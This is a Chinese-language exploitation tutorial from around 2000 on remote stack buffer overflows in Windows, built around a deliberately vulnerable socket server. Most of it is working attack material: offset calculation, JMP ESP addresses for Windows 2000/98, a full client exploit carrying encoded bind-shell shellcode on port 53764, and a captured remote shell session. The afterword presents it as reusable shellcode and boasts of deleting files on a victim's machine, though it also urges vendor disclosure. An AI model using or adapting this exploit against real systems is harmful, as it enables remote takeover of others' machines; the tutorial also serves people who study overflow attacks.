window系统下的远程堆栈溢出 --《实战篇》
?
作者:ipxodi (ipxodi@263.net)
?
????下面是一个有问题的internet服务程序:
/****************************************************************************/
/* ???server.cpp By Ipxodi ???
*/
?
#include
#include
char Buff[1024];
void overflow(char * s,int size)
{
????char s1[50];
????printf("receive %d bytes",size);
????s[size]=0;
????strcpy(s1,s);
}
?
int main()
{
????WSADATA wsa;
????SOCKET listenFD;
????int ret;
????char asd[2048];
?
????WSAStartup(MAKEWORD(2,2),&wsa);
?
????listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
?
????struct sockaddr_in server;
?
????server.sin_family = AF_INET;
????server.sin_port = htons(3764);
????server.sin_addr.s_addr=ADDR_ANY;
????ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
????ret=listen(listenFD,2);
????
????int iAddrSize = sizeof(server);
????SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
????unsigned long lBytesRead;
????while(1) ???{
????????????lBytesRead=recv(clientFD,Buff,1024,0);
????????????if(lBytesRead<=0) ???break;
?
????????????overflow(Buff,lBytesRead);
?
????????????ret=send(clientFD,Buff,lBytesRead,0);
????????????if(ret<=0) ???break;
?
????}
????WSACleanup();
????return 0;
}
/****************************************************************************/
?
函数Overflow有问题,看到了吗?
?
好,现在我们来写溢出攻击程序:
?
1)先算一下溢出(返回)地址应该在哪里?
(:啊?算出?你上次不是用程序试吗?我好不容易才看懂你的算法,这次怎么不用了?
:唉,老兄,上次是没有敌人的原代码,懒得看汇编,才会试,
现在原代码就放在你眼前,你自己算一下不就出来了?)
?
下面是溢出时刻堆栈布局:
内存底部 ??????????????????????????????内存顶部
???????????buffer ??????EBP ???ret ??
<------ ??[NNNNNNNNNNN][N ??] [A ??]SSSS
??????^&buffer
堆栈顶部 ??????????????????????????????堆栈底部 ???????
?
可以看到,buffer我们开的是50,32位系统针对数组进行四位对齐,所以实际缓冲区是
52,加上EBP占去4个字节,就是52+4=56,那么,ret就是第56字节了。
?
2)再看看server里面LoadLibrary和GetProcAddress的地址是什么?
启动wdasm32,加载server.exe
?
:004028EC 68F0014200 ?????????????push 004201F0
?
* Reference To: KERNEL32.LoadLibraryA, Ord:01C2h
??????????????????????????????????|
:004028F1 FF15E8614200 ???????????Call dword ptr [004261E8]
?
好,KERNEL32.LoadLibraryA(就是LoadLibrary的别名)的入口地址:0x004261E8。
?
:00402911 51 ?????????????????????push ecx
?
* Reference To: KERNEL32.GetProcAddress, Ord:013Eh
??????????????????????????????????|
:00402912 FF15E4614200 ???????????Call dword ptr [004261E4]
?
好,KERNEL32.GetProcAddress的入口地址:0x004261E4。
?
这两个地址都有00,我们不能直接在shellcode里面引用,因此采用如下变通方案:
??0xbb,0x99, 0xe8, 0x61, 0x42, ??/* mov ebx, 004261E8h;(&LoadLibrary) ??????????*/
??0xc1, 0xeb, 0x08, ?????????????/* shr ebx, 08 ????????????????????*/
以及
??0xb3, 0xe4, ???????????????????/* mov bl, e4 ???&GetProcAddr ?????*/
?
3)写出client:
/****************************************************************************/
/* ???client.cpp By Ipxodi ???
*/
?
#include
#include
#define WIN2000
?
#ifdef WIN2000
#define JUMPESP "/x2a/xe3/xe2/x77"
#endif
#ifdef WIN98
#define JUMPESP "/xa3/x95/xf7/xbf"
#endif
?
unsigned char eip[8] = JUMPESP;
unsigned char sploit[580] = {
??0x90, 0x8b, 0xfc,
??0x33, 0xc0, 0x50, 0xf7, 0xd0, 0x50, 0x59, 0xf2, 0xaf, 0x59, 0xb1, 0xc6,
??0x8b, 0xc7, 0x48, 0x80, 0x30, 0x99, 0xe2, 0xfa, 0x33, 0xf6, 0x96, 0xbb,
??0x99, 0xe8, 0x61, 0x42, 0xc1, 0xeb, 0x08, 0x56, 0xff, 0x13, 0x8b, 0xd0,
??0xfc, 0x33, 0xc9, 0xb1, 0x0b, 0x49, 0x32, 0xc0, 0xac, 0x84, 0xc0, 0x75,
??0xf9, 0x52, 0x51, 0x56, 0x52, 0xb3, 0xe4, 0xff, 0x13, 0xab, 0x59, 0x5a,
??0xe2, 0xec, 0x32, 0xc0, 0xac, 0x84, 0xc0, 0x75, 0xf9, 0xb3, 0xe8, 0x56,
??0xff, 0x13, 0x8b, 0xd0, 0xfc, 0x33, 0xc9, 0xb1, 0x06, 0x32, 0xc0, 0xac,
??0x84, 0xc0, 0x75, 0xf9, 0x52, 0x51, 0x56, 0x52, 0xb3, 0xe4, 0xff, 0x13,
??0xab, 0x59, 0x5a, 0xe2, 0xec, 0x83, 0xc6, 0x05, 0x33, 0xc0, 0x50, 0x40,
??0x50, 0x40, 0x50, 0xff, 0x57, 0xe8, 0x93, 0x6a, 0x10, 0x56, 0x53, 0xff,
??0x57, 0xec, 0x6a, 0x02, 0x53, 0xff, 0x57, 0xf0, 0x33, 0xc0, 0x57, 0x50,
??0xb0, 0x0c, 0xab, 0x58, 0xab, 0x40, 0xab, 0x5f, 0x48, 0x50, 0x57, 0x56,
??0xad, 0x56, 0xff, 0x57, 0xc0, 0x48, 0x50, 0x57, 0xad, 0x56, 0xad, 0x56,
??0xff, 0x57, 0xc0, 0x48, 0xb0, 0x44, 0x89, 0x07, 0x57, 0xff, 0x57, 0xc4,
??0x33, 0xc0, 0x8b, 0x46, 0xf4, 0x89, 0x47, 0x3c, 0x89, 0x47, 0x40, 0x8b,
??0x06, 0x89, 0x47, 0x38, 0x33, 0xc0, 0x66, 0xb8, 0x01, 0x01, 0x89, 0x47,
??0x2c, 0x57, 0x57, 0x33, 0xc0, 0x50, 0x50, 0x50, 0x40, 0x50, 0x48, 0x50,
??0x50, 0xad, 0x56, 0x33, 0xc0, 0x50, 0xff, 0x57, 0xc8, 0xff, 0x76, 0xf0,
??0xff, 0x57, 0xcc, 0xff, 0x76, 0xfc, 0xff, 0x57, 0xcc, 0x48, 0x50, 0x50,
??0x53, 0xff, 0x57, 0xf4, 0x8b, 0xd8, 0x33, 0xc0, 0xb4, 0x04, 0x50, 0xc1,
??0xe8, 0x04, 0x50, 0xff, 0x57, 0xd4, 0x8b, 0xf0, 0x33, 0xc0, 0x8b, 0xc8,
??0xb5, 0x04, 0x50, 0x50, 0x57, 0x51, 0x56, 0xff, 0x77, 0xa8, 0xff, 0x57,
??0xd0, 0x83, 0x3f, 0x01, 0x7c, 0x22, 0x33, 0xc0, 0x50, 0x57, 0xff, 0x37,
??0x56, 0xff, 0x77, 0xa8, 0xff, 0x57, 0xdc, 0x0b, 0xc0, 0x74, 0x2f, 0x33,
??0xc0, 0x50, 0xff, 0x37, 0x56, 0x53, 0xff, 0x57, 0xf8, 0x6a, 0x50, 0xff,
??0x57, 0xe0, 0xeb, 0xc8, 0x33, 0xc0, 0x50, 0xb4, 0x04, 0x50, 0x56, 0x53,
??0xff, 0x57, 0xfc, 0x57, 0x33, 0xc9, 0x51, 0x50, 0x56, 0xff, 0x77, 0xac,
??0xff, 0x57, 0xd8, 0x6a, 0x50, 0xff, 0x57, 0xe0, 0xeb, 0xaa, 0x50, 0xff,
??0x57, 0xe4, 0x90, 0xd2, 0xdc, 0xcb, 0xd7, 0xdc, 0xd5, 0xaa, 0xab, 0x99,
??0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde,
??0xfc, 0xed, 0xca, 0xed, 0xf8, 0xeb, 0xed, 0xec, 0xe9, 0xd0, 0xf7, 0xff,
??0xf6, 0xd8, 0x99, 0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xeb, 0xf6,
??0xfa, 0xfc, 0xea, 0xea, 0xd8, 0x99, 0xda, 0xf5, 0xf6, 0xea, 0xfc, 0xd1,
??0xf8, 0xf7, 0xfd, 0xf5, 0xfc, 0x99, 0xc9, 0xfc, 0xfc, 0xf2, 0xd7, 0xf8,
??0xf4, 0xfc, 0xfd, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde, 0xf5, 0xf6, 0xfb,
??0xf8, 0xf5, 0xd8, 0xf5, 0xf5, 0xf6, 0xfa, 0x99, 0xce, 0xeb, 0xf0, 0xed,
??0xfc, 0xdf, 0xf0, 0xf5, 0xfc, 0x99, 0xcb, 0xfc, 0xf8, 0xfd, 0xdf, 0xf0,
??0xf5, 0xfc, 0x99, 0xca, 0xf5, 0xfc, 0xfc, 0xe9, 0x99, 0xdc, 0xe1, 0xf0,
??0xed, 0xc9, 0xeb, 0xf6, 0xfa, 0xfc, 0xea, 0xea, 0x99, 0xce, 0xca, 0xd6,
??0xda, 0xd2, 0xaa, 0xab, 0x99, 0xea, 0xf6, 0xfa, 0xf2, 0xfc, 0xed, 0x99,
??0xfb, 0xf0, 0xf7, 0xfd, 0x99, 0xf5, 0xf0, 0xea, 0xed, 0xfc, 0xf7, 0x99,
??0xf8, 0xfa, 0xfa, 0xfc, 0xe9, 0xed, 0x99, 0xea, 0xfc, 0xf7, 0xfd, 0x99,
??0xeb, 0xfc, 0xfa, 0xef, 0x99, 0x9b, 0x99,
??0x4b, 0x9d, //port=53764
??0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
??0xfa, 0xf4, 0xfd, 0xb7, 0xfc, 0xe1, 0xfc, 0x99, 0xff, 0xff, 0xff, 0xff,
??0x0d, 0x0a};
int main()
{
????WSADATA wsa;
????SOCKET sockFD;
????char Buff[1024],*sBO;
?
????WSAStartup(MAKEWORD(2,2),&wsa);
?
????sockFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
?
????struct sockaddr_in server;
?
????server.sin_family = AF_INET;
????server.sin_port = htons(3764);
????server.sin_addr.s_addr=inet_addr("127.0.0.1");
?
????connect(sockFD,(struct sockaddr *)&server,sizeof(server));
????for(int i=0;i<56;Buff[i++]=0x90);
????strcpy(Buff+56,(char *)eip);
????strcpy(Buff+60,(char *)sploit);
????sBO = Buff;
????send(sockFD,sBO,56+4+560,0);
?
????closesocket(sockFD);
????WSACleanup();
????return 1;
?
}
/****************************************************************************/
运行server,然后运行client.之后,telnet localhost 53764,看到了什么?
?
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-1998 Microsoft Corp.
?
D:/MyProjects/server>dir
dir
驱动器 D 中的卷没有标签。
卷的序列号是 3C2F-72BB
?
D:/MyProjects/server 的目录
?
2000-04-26 ?17:52 ???????
?
??????????.
2000-04-26 ?17:52 ???????
??????????..
2000-04-25 ?11:17 ???????
??????????Debug
2000-04-23 ?20:23 ???????????????3,288 server.001
2000-04-25 ?11:16 ?????????????????926 server.cpp
2000-04-25 ?10:33 ???????????????3,325 server.dsp
2000-04-25 ?10:33 ?????????????????535 server.dsw
2000-04-26 ?17:52 ??????????????41,984 server.ncb
2000-04-26 ?17:52 ??????????????49,664 server.opt
2000-04-25 ?11:24 ?????????????????509 server.plg
???????????????7 个文件 ???????100,231 字节
???????????????3 个目录 ?8,688,173,056 可用字节
?
D:/MyProjects/server>
?
呵呵,大功告成。
?
?
----后记
大家通过钻研,可以知道,这是一个windows下通用的远程溢出shellcode。
使用这个shellcode,稍加改动,我们可以编写出其他的远程溢出程序。
实现对任何已知存在缓冲区溢出问题的程序的远程控制。
?
事实上,为了发现溢出漏洞,你必须深入钻研敌人的程序代码,找到他的
有问题代码。这本身就可以单开一讲来详细阐述。
windows下的Cracker们,你们的破解跟踪技术将在这个领域
得到最大的利用。我估计,在不久的将来,会有很多Cracker,公布一系列
windows缓冲区溢出漏洞。
?
上面所示的,只不过是一个实验用的server程序,事实上,
我们已经完成了Oicq远程溢出程序的实现和IisHack中文NT版的移植。
?
当我telnet victim 53764上敌人的机器,删除了他的autoexec.001时,
真是一切尽在掌握。我心中想的,就是:
windows Nt/2000的远程溢出时代,开始了!我们再也不需要木马了!
?
因为上述程序的攻击性太强,我就不公布原代码了,我希望
如果有人基于我的shellcode写出了远程溢出程序,请先通知软件供应商,
等待patch出来后,再公布你们的溢出程序。
?
因为,发现漏洞的目的,并不是为了破坏,而是为了消除漏洞,提高安全。
?
----参考书目:
0)ipxodi 《window系统下的堆栈溢出》NsfocusMagzine 20003。
1)dark spyrit AKA Barnaby Jack的Phrack Magzine55上的经典文章。
2)Backend的《Windows 2000缓冲区溢出入门》 NsfocusMagzine 20004。
3)《windows网络编程技术》 Anthory Jones,Jim Ohlund.(机械版京京译)
?
----致谢
要致谢的人很多:
dark spyrit,为你的天才和无私,向你致敬。
感谢绿盟的Backend,Yuange,Zer9,为你们的研究成果和给我的无私帮助,
当然还有绿盟的tt,deepin,为你们在攻击实践上给我的帮助。
感谢所有帮助和激励过我的人。